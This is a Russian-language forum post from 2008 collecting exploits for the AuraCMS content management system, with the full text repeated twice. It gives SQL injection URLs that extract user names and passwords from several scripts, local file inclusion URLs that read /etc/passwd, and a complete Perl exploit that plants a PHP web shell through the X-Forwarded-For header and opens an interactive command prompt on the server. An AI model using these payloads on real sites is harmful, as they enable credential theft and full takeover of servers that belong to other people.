FraiDex
15.02.2008, 17:56
AuraCMS [Forum Module] Remote SQL Injection Vulnerability
SQL инъекция в модуле Forum. Уязвимость существует из-за отсутствия фильтрации в скрипте komentar.php (сроки 27-29) данных полученных в переменной $id. Благодаря этой уязвимости существует возможность выполнять произвольные запросы в БД. Уязвимость нашёл чел с ником k1tk4t.
Уязвимый запрос:
select topikid, subjek, pengirim,reply, waktu, isi from ".$prefix."forum_topik where topikid=$id");
Exploit:
http://localhost/AuraCMS/?pilih=forum&mod=yes&aksi=komentar&id=-9%20union%20select%201,user,id,4,email,password%20 from%20user/*
================================================== =======
AuraCMS version 1.5rc - Multiple Remote SQL Injection Vulnerabilities
SQL инъекция в скриптах 'hal.php', 'cetak.php', 'lihat.php', 'pesan.php', 'teman.php'. Версия: 1.5rc (возможно более ранние). Уязвимость найдена тем же самым челом с ником k1tk4t. Итак приступим к разбору…
hal.php
Уязвимый запрос:
$perintah="SELECT * FROM halaman WHERE id=$id";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/auracms15/?pilih=hal&id=-9%20UNION%20SELECT%200,user,password%20from%20user/*
-------------------------------------------------------------------------------------------
cetak.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/auracms15/cetak.php?id=-9%20UNION%20SELECT%20null,null,null,password,null, user,null,null%20from%20user/*
-------------------------------------------------------------------------------------------
lihat.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/AuraCMS1.5/?pilih=lihat&id=-9%20UNION%20SELECT%20null,user,password,null,null, null,null,null%20from%20user/*
-------------------------------------------------------------------------------------------
'pesan.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
} else {
$perintah="SELECT * FROM komentar WHERE id=$id";
Exploit:
http://localhost/AuraCMS1.5/?pilih=pesan&id=-9%20UNION%20SELECT%20null,null,null,concat(user,0x 3a,password),null,null,null,null%20from%20user/*
----------------------------------------------------
teman.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/AuraCMS1.5/?pilih=teman&id=-9%20UNION%20SELECT%20null,concat(user,0x3a,passwor d),null,null,null,null,null,null%20from%20user/*
================================================== ===
AuraCMS 2.1 - Remote File Attachment - Local File Inclusion
Local File Inclusion (Локальный инклуд). Найдена данная бага тем самым челом k1tk4t. Веосия 2.1 (возможно более ранние). Уязвимость в скрипте '/mod/contak.php'.
Уязвимый код:
if ($_POST['submit']) {
$nama = text_filter($_POST['nama']);
$email = text_filter($_POST['email']);
$pesan = nl2br(text_filter($_POST['pesan'], 2));
$images = text_filter($_POST['image']);
checkemail($email);
$gfx_check = intval($_POST['gfx_check']);
if (!$nama) $error .= "Error: Please enter your name!<br />";
if (!$pesan) $error .= "Error: Please enter a message!<br />";
$code = substr(hexdec(md5("".date("F j")."".$_POST['random_num']."".$sitekey."")), 2, 6);
if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";
if ($error) {
$tengah.='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';
} else {
if (!empty ($image_name)){
$image_name = $_FILES['image']['name'];
$image_temp = $_FILES['image']['tmp_name'];
$tempat = "files/";
@copy($_FILES[image][tmp_name], "./files/".$image_name);
if(@copy($_FILES[image][tmp_name], "./files/".$image_name)){
unlink($image);
$sukses = "Sukses Upload File ".$image_name;
}else{
$sukses = "Gagal Upload File ".$image_name;
Exploit:
http://localhost/auracms2.1/index.php?pilih=../mod/contak
-------------------------------------------------------------------------------------------
Скрипт index.php
Уязвимый код:
if (isset ($_GET['mod'])) $mod = $_GET['mod'] ; else $mod = '';
if(!isset($_GET['pilih'])){
include 'content/normal.php';
}else {
if($mod == "yes" && file_exists("mod/$_GET[pilih].php")){
include "mod/$_GET[pilih].php";
} else {
if (eregi('http://', $_GET['pilih']) or !file_exists("content/$_GET[pilih].php") or $_GET['pilih'] == 'index'){
$_GET['pilih'] = 'normal';
Exploit:
http://localhost/auracms.x.x/index.php?pilih=../../../../../../../etc/passwd%00
---------------------------------------------------------------------------------------------
Скрипт index.php (Версия 1.x)
Уязвимый код:
<?
if(!isset($pilih))$pilih='';
switch($pilih){
case '':
include "normal.php";
break;
default:
if($mod == "yes" && file_exists("mod/$pilih.php")){
include "mod/$pilih.php";
} else {
if (eregi('http://', $pilih) or !file_exists("$pilih.php")){
$pilih = 'normal';
}
include "$pilih.php";
}
break;
}
?>
Exploit:
http://localhost/auracms.x.x/index.php?pilih=../../../../../../../etc/passwd%00
================================================== ========
AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit
Выполнение произвольного кода. Уязвимый скрипт stat.php. Версия 1.62 (возможно более ранние)
Exploit:
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit
# Waktu : Jan 16 2008 10:00PM
# Software : AuraCMS 1.62
# AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
# Vendor : http://www.auracms.org/
# Ditemukan oleh : k1tk4t | http://newhack.org
# Lokasi : Indonesia
# Penjelasan :
#
# Kutu pada berkas "stat.php" didalam direktori /mod pada aplikasi web auracms 1.62
# ---//---
# 17. Function User_Online ($minutes, $NamaFile){
# 18. //$ip = $REMOTE_ADDR;
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (getenv("HTTP_X_FORWARDED_FOR") == ''){
# 21. $ip = getenv("REMOTE_ADDR");
# 22. }
# ---//---
# 47. fseek($f,0,SEEK_SET);
# 48. ftruncate($f,0);
# 49. array_pop($user);
# 50. foreach ($user as $line)
# 51. {
# 52. list($savedip,$savedtime) = split("\|",$line);
# 53. if ($savedip == $ip) {$savedtime = $time;$found = 1;}
# 54. if ($time < $savedtime + ($minutes * 60))
# 55. {
# 56. fputs($f,"$savedip|$savedtime\n");
# 57. $users = $users + 1;
# 58. }
# 59. }
# 60.
# 61. if ($found == 0)
# 62. {
# 63. fputs($f,"$ip|$time\n");
# 64. $users = $users + 1;
# 65. }
# 66.
# 67. fclose ($f);
# ---//---
#
# Sebagai Contoh;
# $ip = getenv("HTTP_X_FORWARDED_FOR");
# $ip = <?php phpinfo() ?> # <-- user menginjeksi phpinfo
# format yang tersimpan
# <?php phpinfo() ?>|WAKTUBERKUNJUNG
#
# pada AuraCMS versi 1.62, log di simpan pada berkas /mod/online.db.txt [Default]
#
# pada Mod Block Statistik, log disimpan pada berkas /logs/online.db.txt [Default]
#
# pada AuraCMS versi 2.x mod "online", getenv("HTTP_X_FORWARDED_FOR") bisa berakibat terjadinya "SQL Injection"
#
# => "Perbaikan Kutu stat.php"
# ---//---
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', getenv("HTTP_X_FORWARDED_FOR")) == ''){
# 21. $ip = getenv("REMOTE_ADDR");
# 22. }
# ---//---
#
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# saya[k1tk4t] dan "Indonesian Newhack Technology" tidak bertanggung jawab akan kerusakan
# yang diakibatkan dari penyalahgunaan exploit oleh pihak lain
#
# =>
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, y3dips, L41n, cyb3rh3b, K-159, the_hydra, NoGe
# nyubi, iFX, sin~X, k1n9k0ng, bius, selikoer, aldy_BT
# Komunitas Security dan Hacker Indonesia
#
# ----------------------------[Mulai]------------------------------------
use IO::Socket;
if(!$ARGV[2])
{
print "\n |-------------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |-------------------------------------------------------|";
print "\n | AuraCMS 1.62 (stat.php) Remote Code Execution Exploit |";
print "\n | Coded by k1tk4t |";
print "\n |-------------------------------------------------------|";
print "\n[!] ";
print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port]";
print "\n[!] Contoh : perl auracms22.pl localhost /aura162/ 80";
print "\n[!] ";
print "\n";
exit;
}
$oriserver = $ARGV[0];
$orihost = "http://".$oriserver;
$oridir = $ARGV[1];
$oriport = $ARGV[2];
print "- Melakukan Koneksi $orihost$oridir\r\n";
$injurl = "index.php?pilih=stat&mod=yes";
$injeksi = $oridir.$injurl;
$kodeterlarang = "<?php echo t4mugel4p;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?>";
print "- Sedang menginjeksi kode jahat\r\n";
$injkode = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $injkode "GET ".$injeksi." HTTP/1.1\n";
print $injkode "Host: ".$oriserver."\r\n";
print $injkode "X-Forwarded-For: ".$kodeterlarang."\r\n";
print $injkode "\r\n\r\n";
close ($injkode);
while($perintah !~ "mati")
{
$ekseurl = "index.php?pilih=online.db.txt%00&mod=yes&cmd=".$perintah."";
$eksekusi = $oridir.$ekseurl;
print "- Sedang mencoba menjalankan kode injeksi\r\n";
$eksekode = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $eksekode "GET ".$eksekusi." HTTP/1.1\n";
print $eksekode "Host: ".$oriserver."\r\n";
print $eksekode "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
print $eksekode "Accept: */*\r\n";
print $eksekode "Connection: close\r\n\n";
while ($hasil = <$eksekode>)
{
print $hasil;
}
print "[+]perintah => ";
$perintah = <STDIN>;
}
# milw0rm.com [2008-01-18]
SQL инъекция в модуле Forum. Уязвимость существует из-за отсутствия фильтрации в скрипте komentar.php (сроки 27-29) данных полученных в переменной $id. Благодаря этой уязвимости существует возможность выполнять произвольные запросы в БД. Уязвимость нашёл чел с ником k1tk4t.
Уязвимый запрос:
select topikid, subjek, pengirim,reply, waktu, isi from ".$prefix."forum_topik where topikid=$id");
Exploit:
http://localhost/AuraCMS/?pilih=forum&mod=yes&aksi=komentar&id=-9%20union%20select%201,user,id,4,email,password%20 from%20user/*
================================================== =======
AuraCMS version 1.5rc - Multiple Remote SQL Injection Vulnerabilities
SQL инъекция в скриптах 'hal.php', 'cetak.php', 'lihat.php', 'pesan.php', 'teman.php'. Версия: 1.5rc (возможно более ранние). Уязвимость найдена тем же самым челом с ником k1tk4t. Итак приступим к разбору…
hal.php
Уязвимый запрос:
$perintah="SELECT * FROM halaman WHERE id=$id";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/auracms15/?pilih=hal&id=-9%20UNION%20SELECT%200,user,password%20from%20user/*
-------------------------------------------------------------------------------------------
cetak.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/auracms15/cetak.php?id=-9%20UNION%20SELECT%20null,null,null,password,null, user,null,null%20from%20user/*
-------------------------------------------------------------------------------------------
lihat.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/AuraCMS1.5/?pilih=lihat&id=-9%20UNION%20SELECT%20null,user,password,null,null, null,null,null%20from%20user/*
-------------------------------------------------------------------------------------------
'pesan.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
} else {
$perintah="SELECT * FROM komentar WHERE id=$id";
Exploit:
http://localhost/AuraCMS1.5/?pilih=pesan&id=-9%20UNION%20SELECT%20null,null,null,concat(user,0x 3a,password),null,null,null,null%20from%20user/*
----------------------------------------------------
teman.php
Уязвимый запрос:
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
Exploit:
http://localhost/AuraCMS1.5/?pilih=teman&id=-9%20UNION%20SELECT%20null,concat(user,0x3a,passwor d),null,null,null,null,null,null%20from%20user/*
================================================== ===
AuraCMS 2.1 - Remote File Attachment - Local File Inclusion
Local File Inclusion (Локальный инклуд). Найдена данная бага тем самым челом k1tk4t. Веосия 2.1 (возможно более ранние). Уязвимость в скрипте '/mod/contak.php'.
Уязвимый код:
if ($_POST['submit']) {
$nama = text_filter($_POST['nama']);
$email = text_filter($_POST['email']);
$pesan = nl2br(text_filter($_POST['pesan'], 2));
$images = text_filter($_POST['image']);
checkemail($email);
$gfx_check = intval($_POST['gfx_check']);
if (!$nama) $error .= "Error: Please enter your name!<br />";
if (!$pesan) $error .= "Error: Please enter a message!<br />";
$code = substr(hexdec(md5("".date("F j")."".$_POST['random_num']."".$sitekey."")), 2, 6);
if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";
if ($error) {
$tengah.='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';
} else {
if (!empty ($image_name)){
$image_name = $_FILES['image']['name'];
$image_temp = $_FILES['image']['tmp_name'];
$tempat = "files/";
@copy($_FILES[image][tmp_name], "./files/".$image_name);
if(@copy($_FILES[image][tmp_name], "./files/".$image_name)){
unlink($image);
$sukses = "Sukses Upload File ".$image_name;
}else{
$sukses = "Gagal Upload File ".$image_name;
Exploit:
http://localhost/auracms2.1/index.php?pilih=../mod/contak
-------------------------------------------------------------------------------------------
Скрипт index.php
Уязвимый код:
if (isset ($_GET['mod'])) $mod = $_GET['mod'] ; else $mod = '';
if(!isset($_GET['pilih'])){
include 'content/normal.php';
}else {
if($mod == "yes" && file_exists("mod/$_GET[pilih].php")){
include "mod/$_GET[pilih].php";
} else {
if (eregi('http://', $_GET['pilih']) or !file_exists("content/$_GET[pilih].php") or $_GET['pilih'] == 'index'){
$_GET['pilih'] = 'normal';
Exploit:
http://localhost/auracms.x.x/index.php?pilih=../../../../../../../etc/passwd%00
---------------------------------------------------------------------------------------------
Скрипт index.php (Версия 1.x)
Уязвимый код:
<?
if(!isset($pilih))$pilih='';
switch($pilih){
case '':
include "normal.php";
break;
default:
if($mod == "yes" && file_exists("mod/$pilih.php")){
include "mod/$pilih.php";
} else {
if (eregi('http://', $pilih) or !file_exists("$pilih.php")){
$pilih = 'normal';
}
include "$pilih.php";
}
break;
}
?>
Exploit:
http://localhost/auracms.x.x/index.php?pilih=../../../../../../../etc/passwd%00
================================================== ========
AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit
Выполнение произвольного кода. Уязвимый скрипт stat.php. Версия 1.62 (возможно более ранние)
Exploit:
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit
# Waktu : Jan 16 2008 10:00PM
# Software : AuraCMS 1.62
# AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
# Vendor : http://www.auracms.org/
# Ditemukan oleh : k1tk4t | http://newhack.org
# Lokasi : Indonesia
# Penjelasan :
#
# Kutu pada berkas "stat.php" didalam direktori /mod pada aplikasi web auracms 1.62
# ---//---
# 17. Function User_Online ($minutes, $NamaFile){
# 18. //$ip = $REMOTE_ADDR;
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (getenv("HTTP_X_FORWARDED_FOR") == ''){
# 21. $ip = getenv("REMOTE_ADDR");
# 22. }
# ---//---
# 47. fseek($f,0,SEEK_SET);
# 48. ftruncate($f,0);
# 49. array_pop($user);
# 50. foreach ($user as $line)
# 51. {
# 52. list($savedip,$savedtime) = split("\|",$line);
# 53. if ($savedip == $ip) {$savedtime = $time;$found = 1;}
# 54. if ($time < $savedtime + ($minutes * 60))
# 55. {
# 56. fputs($f,"$savedip|$savedtime\n");
# 57. $users = $users + 1;
# 58. }
# 59. }
# 60.
# 61. if ($found == 0)
# 62. {
# 63. fputs($f,"$ip|$time\n");
# 64. $users = $users + 1;
# 65. }
# 66.
# 67. fclose ($f);
# ---//---
#
# Sebagai Contoh;
# $ip = getenv("HTTP_X_FORWARDED_FOR");
# $ip = <?php phpinfo() ?> # <-- user menginjeksi phpinfo
# format yang tersimpan
# <?php phpinfo() ?>|WAKTUBERKUNJUNG
#
# pada AuraCMS versi 1.62, log di simpan pada berkas /mod/online.db.txt [Default]
#
# pada Mod Block Statistik, log disimpan pada berkas /logs/online.db.txt [Default]
#
# pada AuraCMS versi 2.x mod "online", getenv("HTTP_X_FORWARDED_FOR") bisa berakibat terjadinya "SQL Injection"
#
# => "Perbaikan Kutu stat.php"
# ---//---
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', getenv("HTTP_X_FORWARDED_FOR")) == ''){
# 21. $ip = getenv("REMOTE_ADDR");
# 22. }
# ---//---
#
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# saya[k1tk4t] dan "Indonesian Newhack Technology" tidak bertanggung jawab akan kerusakan
# yang diakibatkan dari penyalahgunaan exploit oleh pihak lain
#
# =>
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, y3dips, L41n, cyb3rh3b, K-159, the_hydra, NoGe
# nyubi, iFX, sin~X, k1n9k0ng, bius, selikoer, aldy_BT
# Komunitas Security dan Hacker Indonesia
#
# ----------------------------[Mulai]------------------------------------
use IO::Socket;
if(!$ARGV[2])
{
print "\n |-------------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |-------------------------------------------------------|";
print "\n | AuraCMS 1.62 (stat.php) Remote Code Execution Exploit |";
print "\n | Coded by k1tk4t |";
print "\n |-------------------------------------------------------|";
print "\n[!] ";
print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port]";
print "\n[!] Contoh : perl auracms22.pl localhost /aura162/ 80";
print "\n[!] ";
print "\n";
exit;
}
$oriserver = $ARGV[0];
$orihost = "http://".$oriserver;
$oridir = $ARGV[1];
$oriport = $ARGV[2];
print "- Melakukan Koneksi $orihost$oridir\r\n";
$injurl = "index.php?pilih=stat&mod=yes";
$injeksi = $oridir.$injurl;
$kodeterlarang = "<?php echo t4mugel4p;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?>";
print "- Sedang menginjeksi kode jahat\r\n";
$injkode = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $injkode "GET ".$injeksi." HTTP/1.1\n";
print $injkode "Host: ".$oriserver."\r\n";
print $injkode "X-Forwarded-For: ".$kodeterlarang."\r\n";
print $injkode "\r\n\r\n";
close ($injkode);
while($perintah !~ "mati")
{
$ekseurl = "index.php?pilih=online.db.txt%00&mod=yes&cmd=".$perintah."";
$eksekusi = $oridir.$ekseurl;
print "- Sedang mencoba menjalankan kode injeksi\r\n";
$eksekode = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $eksekode "GET ".$eksekusi." HTTP/1.1\n";
print $eksekode "Host: ".$oriserver."\r\n";
print $eksekode "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
print $eksekode "Accept: */*\r\n";
print $eksekode "Connection: close\r\n\n";
while ($hasil = <$eksekode>)
{
print $hasil;
}
print "[+]perintah => ";
$perintah = <STDIN>;
}
# milw0rm.com [2008-01-18]